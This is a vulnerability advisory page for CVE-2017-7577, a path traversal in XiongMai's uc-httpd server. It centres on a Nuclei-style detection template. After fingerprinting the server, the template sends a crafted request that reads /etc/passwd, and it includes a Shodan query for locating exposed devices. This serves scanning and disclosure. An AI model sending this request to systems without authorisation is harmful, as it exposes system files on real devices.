CVE-2017-7577: XiongMai uc-httpd - Path Traversal

2026-11-29 PoC Public

Description

XiongMai uc-httpd contains a path traversal caused by handling of 'GET ../' requests, letting attackers read arbitrary files, exploit requires sending crafted HTTP requests.

Details

CVE
CVE-2017-7577 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2017-7577

info:
  name: XiongMai uc-httpd - Path Traversal
  author: theamanrawat
  severity: critical
  description: |
    XiongMai uc-httpd contains a path traversal caused by handling of 'GET ../' requests, letting attackers read arbitrary files, exploit requires sending crafted HTTP requests.
  impact: |
    Attackers can read sensitive files from the server, leading to information disclosure.
  remediation: |
    Update to the latest version of uc-httpd that addresses this vulnerability or apply security patches.
  reference:
    - https://web.archive.org/web/20170514152737/http://zeroday.insecurity.zone/exploits/uc-httpd_lfi.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7577
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-7577
    epss-score: 0.53703
    epss-percentile: 0.99244
    cwe-id: CWE-22
  metadata:
    verified: false
    vendor: xiongmaitech
    product: uc-httpd
    shodan-query: cpe:"cpe:2.3:a:xiongmaitech:uc-httpd"
  tags: cve,cve2017,xiongmai,lfi,vkev,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(tolower(header), "uc-httpd")'
        condition: and
        internal: true

  - raw:
      - |
        GET ../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("root:.*:0:0:", body)'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402206a0ed2210a39418b69acfa2b91506dcfe639bffc62df0b93fd50c6a22fc63482022058492f7080a1f9fde33262a1b9b93112adabb197e623bc2b2a8a0bd54372ba07:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life